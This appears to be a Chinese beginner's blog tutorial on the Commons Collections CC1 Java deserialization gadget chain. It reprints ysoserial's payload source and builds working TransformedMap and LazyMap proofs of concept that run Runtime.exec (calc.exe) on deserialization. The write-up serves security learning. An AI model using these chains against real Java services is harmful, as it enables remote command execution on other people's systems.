前言
虽然已经有很多大佬已经发了CC1-7的分析,但是我觉得有些地方没有特别清楚,我就来啰嗦的写一篇吧,对新手比较友好。
Java集合框架是JDK1.2中的一个重要补充。它添加了许多功能强大的数据结构,加快了最重要的Java应用程序的开发。从那时起,它已成为Java中公认的集合处理标准。
Commons集合试图通过提供新的接口、实现和实用程序来构建JDK类。
Commons Collections是反序列化漏洞学习过程中不可缺少的一部分,Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
ysoerial中CommonsCollection1源码如下:
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
利用链:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
环境搭建
- JDK1.7
- commons-collections 3.1
创建一个Maven项目,不用选择任何Maven模板;
在pom.xml中添加如下代码:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
刷新一下,成功导入commons-collections-3.1。
相关类和接口
TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
......
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
......
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}
ChainedTransformer
ChainedTransformer是实现了Transformer、Serializable接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起,将前一个回调返回的结果作为后一个的参数传入。
public class ChainedTransformer implements Transformer, Serializable {
......
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
......
}
Transformer
Transformer是一个接口,只有一个带实现的方法;
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个“回调
函数”,这个回调的参数是原始对象。
public interface Transformer {
public Object transform(Object input);
}
ConstantTransformer
ConstantTransformer是实现了Transformer、Serializable接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回;
作用就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。
public class ConstantTransformer implements Transformer, Serializable {
.......
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
.......
InvokerTransformer
InvokerTransformer是实现了Transformer、Serializable接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执⾏任意代码的关键;
在实例化这个InvokerTransformer时,需要传⼊三个参数:
- 第⼀个参数是待执⾏的⽅法名
- 第⼆个参数是这个函数的参数列表的参数类型
- 第三个参数是传给这个函数的参数列表
后面transform方法,通过反射调用执行了input对象的iMethodName方法。
public class InvokerTransformer implements Transformer, Serializable {
......
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
TransformedMap链
Test1
先构造一个简单的POC:
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test1 {
public static void main(String[] args) throws Exception {
//构建一个transformer的数组
Transformer[] transformers = new Transformer[] {
//返回Runtime对象
new ConstantTransformer(Runtime.getRuntime()),
//调用exec方法执行calc.exe命令
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
};
//将transformers数组传入ChainedTransformer类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
//包装innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发回调
outerMap.put("test1", "xxxx");
}
}
Transformer是一个接口,ConstantTransformer和InvokerTransformer都是Transformer接口的实现类;
这里并不是new了一个接口,而是new了一个Transformer类型的数组,里面存储的是 Transformer的实现类对象。
然后使用ChainedTransformer对transformers 数组进行一系列回调;
将创建的innerMap和transformerChain传入TransformedMap.decorate;
最后要向Map中放入一个新元素,从而执行命令。
Test2
上面的Test1并只是一个本地测试,而我们还需要将最终生成的outerMap对象变成一个序列化流;
代码1
Runtime类没有实现Serializable接⼝,不能被直接序列化;所以我们需要通过反射来获取Runtime对象;
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//调用getMethod方法
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//调用invoke方法
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
//调用exec方法
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
代码2
当调用ChainedTransformer的transformer方法时,会对transformers数组进行一系列回调:
Transformer transformerChain = new ChainedTransformer(transformers);
- 将ConstantTransformer返回的
Runtime.class
传给第一个InvokerTransformer; - 将第一个InvokerTransformer返回的
(Runtime.class).getMethod("getRuntime",null)
传给第二个InvokerTransformer; - 将第二个InvokerTransformer返回的
((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)
传给第三个InvokerTransformer; (((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")
是第三个InvokerTransformer的返回值。
代码3
用了TransformedMap修饰Map对象,decorate方法中又new了一个TransformedMap对象,transformerChain作为参数传进去;
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
TransformedMap类中的注释说到Map的put方法和Map.Entry的setValue方法会受到该类的影响;
TransformedMap继承于AbstractInputCheckedMapDecorator类,而AbstractInputCheckedMapDecorator又继承于AbstractMapDecorator类,AbstractMapDecorator类继承于Map类;
跟到AbstractInputCheckedMapDecorator类的setValue方法;
最后其实是调用Map.setValue();
跟进checkSetValue方法到TransformedMap类,注释中也提到调用setValue方法时自动调用checkSetValue方法;
这里调用了valueTransformer的transform方法,而valueTransformer就是我们传入的transformerChain,transformerChain又是ChainedTransformer的实例化对象,也就是成功调用了ChainedTransformer的transformer方法,从而实现代码2对transformers数组进行回调。
代码4
通过反射获取AnnotationInvocationHandler类对象,获取构造方法,实例化一个对象handler;
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
看一下sun.reflect.annotation.AnnotationInvocationHandler
类,它的构造函数中第一个参数是个Annotation类,第⼆个是参数就是前⾯构造的Map;
这是一个内部类,需要通过反射来获取;
在它的readObject方法中调用了setValue方法,也就是说反序列化时会调用setValue方法,进而实现上面几部分代码。
然而只有当if判断为真时才会进入分支执行setValue方法,也就是说var7不能为null;
var7不为null需要满足以下两个条件:
- 第一个参数必须是Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设方法名为X
- 被
TransformedMap.decorate
修饰的Map中必须有⼀个键名为X的元素
而Retention恰好是Annotation类,含有⼀个value方法;
所以这里是创建Retention.class
的对象;
然后,为了再满⾜第⼆个条件,需要给Map中放⼊⼀个键名为value的元素,所以在代码3中要给Map对象加一个键名为value的元素;
下面大概跟一下为什么键名要和方法名相同;
在AnnotationInvocationHandler
的readObject方法中,跟进
var2 = AnnotationType.getInstance(this.type);
var0就是我们传入的Retention
,再跟进AnnotationType
;
第一处返回了Retention
类中的所有方法到var2;
第二处通过for循坏,获取方法名到var7;
第三处将获取到的方法名put到memberTypes
。
Retention
类中就只有一个value方法,所以memberTypes
的值就是value;
再回到AnnotationInvocationHandler
类,var3的值就是value;
Map var3 = var2.memberTypes();
接下来:
while(var4.hasNext()) {
//遍历Map
Entry var5 = (Entry)var4.next();
//获取Map的键名
String var6 = (String)var5.getKey();
//在var3中寻找是否有键名为var6的值,如果在这里没有找到,则返回了null,
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
所以为了能var3中找到键名为value的值,需要给Map对象put一个键名为value的元素。
最后加上序列化和反序列化的代码,整理为如下POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class Test2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本由于sun.reflect.annotation.AnnotationInvocationHandler
发⽣了变化导致不再可⽤;
在ysoserial的代码中,没有⽤到上面POC的TransformedMap,而是改用了了LazyMap。
LazyMap链
LazyMap也来自于Common-Collections库,并继承AbstractMapDecorator
类。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform 。
当在get找不到值的时候,它会调用factory.transform
方法去获取一个值:
代码1和代码2与TransformedMap链中的一样;
代码3
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
因为要满足map.containsKey(key) == false
,就不需要向Map中添加元素;
把transformerChain传进去,transformerChain是Transformer类型的;
看一下LazyMap.decorate
方法:
new了一个LazyMap对象;
get方法中的factory
就是我们传入的transformerChain,也就是说,只要调用了get方法,并且Map对象中的没有key,就可以触发ChainedTransformer的transform方法,从而实现代码2对transformers数组进行回调,进而执行命令。
现在要找一个调用get方法的地方;
在AnnotationInvocationHandler类的invoke方法中调用了get方法:
那又要如何调用到invoke方法;
P牛的文章中说到:
- 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
Java动态代理知识可参考:Java 动态代理
代码4
通过反射获取sun.reflect.annotation.AnnotationInvocationHandler
对象,再对该对象进行Proxy;
Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。
代理后的对象叫做proxyMap,但不能直接对其进行序列化,因为入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
最后添加上序列化和反序列化的代码整理为如下POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Test3 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
成功执行命令:
参考连接:
Java安全漫谈 - 09.反序列化篇(3)
Java安全漫谈 - 10.反序列化篇(4)
Java安全漫谈 - 11.反序列化篇(5)
https://xz.aliyun.com/t/9873